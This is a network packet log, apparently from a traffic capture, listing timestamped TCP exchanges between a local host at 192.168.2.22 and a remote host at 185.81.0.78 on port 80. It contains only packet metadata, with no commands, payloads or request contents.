Feb 20, 2021 09:48:09.142539024 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.142544031 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.142570019 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.142570972 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.142594099 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.142597914 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.142621994 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.142623901 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.142647982 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.142654896 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.142674923 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.142688036 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.142704010 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.142718077 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.142731905 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.142744064 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.142760038 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.142771006 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.142790079 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.142800093 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.142817974 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.142827988 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.142853022 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.142853975 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.142882109 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.142884970 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.142911911 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.142915010 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.142940044 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.142945051 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.142966032 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.142971992 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.142996073 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.142998934 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.143023014 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.143026114 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.143049002 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.143073082 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.149220943 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.149255037 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.149271011 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.149286985 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.149302959 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.149326086 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.149348021 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.149369001 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.149406910 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.149420023 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.149432898 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.149446011 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.149456024 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.149457932 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.149482012 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.149482965 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.149506092 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.149507999 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.149528027 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.149533033 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.149552107 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.149559021 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.149573088 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.149583101 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.149610043 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.161952972 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.161994934 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.162019014 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.162048101 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.162074089 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.162096977 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.162122011 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.162147045 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.162169933 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.162193060 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.162218094 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.162247896 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.162249088 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.162276030 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.162283897 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.162300110 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.162306070 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.162326097 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.162339926 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.162350893 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.162374973 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.162374973 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.162400961 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.162409067 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.162426949 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.162445068 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.162456036 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.162476063 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.162482977 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.162506104 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.162506104 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.162532091 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.162533045 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.162561893 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.162587881 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.162671089 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.162728071 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.162738085 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.162754059 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.162777901 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.162781954 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.162801981 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.162812948 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.162832975 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.162842989 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.162859917 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.162868977 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.162883997 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.162897110 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.162909985 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.162933111 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.162955999 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.165839911 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.165885925 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.165920973 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.165925980 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.165942907 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.165975094 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.166033030 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.166069031 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.166093111 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.166102886 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.166119099 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.166136026 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.166152000 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.166168928 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.166184902 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.166203022 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.166225910 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.166243076 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.166266918 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.166282892 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.166299105 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.166316032 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.166332006 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.166351080 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.166362047 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.166384935 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.166394949 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.166418076 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.166424036 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.166452885 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.166471004 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.166486025 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.166498899 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.166528940 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.166533947 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.166564941 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.166579962 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.166599035 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.166609049 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.166632891 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.166636944 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.166666985 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.166682959 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.166698933 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.166712999 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.166733980 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.166743994 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.166768074 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.166773081 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.166800976 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.166807890 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.166845083 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.166867971 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.166877985 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.166893005 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.166912079 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.166923046 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.166945934 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.166955948 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.166979074 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.166984081 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.167011976 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.167025089 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.167046070 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.167059898 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.167087078 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.167089939 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.167124033 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.167139053 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.167156935 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.167170048 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.167191029 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.167200089 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.167223930 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.167229891 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.167258978 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.167292118 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.167294025 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.167323112 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.167325020 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.167351007 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.167365074 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.167377949 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.167401075 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.167411089 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.167433977 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.167438030 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.167468071 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.167483091 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.167500019 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.167514086 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.167531967 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.167542934 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.167565107 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.167577982 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.167598009 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.167607069 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.167635918 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.167644024 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.167706013 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.167747974 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.167782068 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.167804956 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.167814016 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.167829990 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.167848110 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.167872906 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.167887926 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.167900085 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.167923927 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.167933941 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.167957067 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.167980909 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.167989969 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.168004990 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.168023109 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.168035984 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.168055058 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.168066978 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.168087959 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.168098927 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.168126106 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.168126106 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.168191910 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.168205976 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.168237925 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.168267012 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.168272972 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.168296099 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.168307066 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.168324947 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.168356895 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.182907104 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.191451073 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.191484928 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.191508055 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.191526890 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.191541910 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.191596985 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.191602945 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.191618919 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.191622019 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.191625118 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.191641092 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.191658020 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.191668034 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.191678047 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.191693068 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.191694021 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.191711903 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.191730022 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.191739082 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.191749096 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.191764116 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.191771984 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.191781044 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.191797018 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.191803932 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.191812992 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.191831112 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.191833973 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.191847086 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.191865921 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.191868067 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.191905022 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.191936016 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.193207979 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.193231106 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.193248987 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.193270922 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.193289042 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.193305016 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.193308115 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.193312883 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.193326950 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.193341970 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.193352938 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.193357944 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.193388939 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.193416119 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.193428040 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.193444014 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.193487883 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.193500996 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.193523884 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.193546057 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.193562984 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.193572998 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.193579912 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.193588018 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.193597078 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.193604946 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.193619013 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.193636894 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.193671942 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.194874048 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.194899082 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.194922924 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.194942951 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.194945097 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.194962025 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.194964886 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.194982052 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.194989920 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.195003033 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.195009947 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.195022106 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.195034981 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.195039034 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.195061922 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.195081949 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.195106983 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.195131063 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.195152044 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.195152998 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.195175886 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.195178986 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.195199966 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.195204973 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.195225000 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.195226908 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.195244074 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.195250988 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.195261002 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.195277929 CET	80	49165	185.81.0.78	192.168.2.22
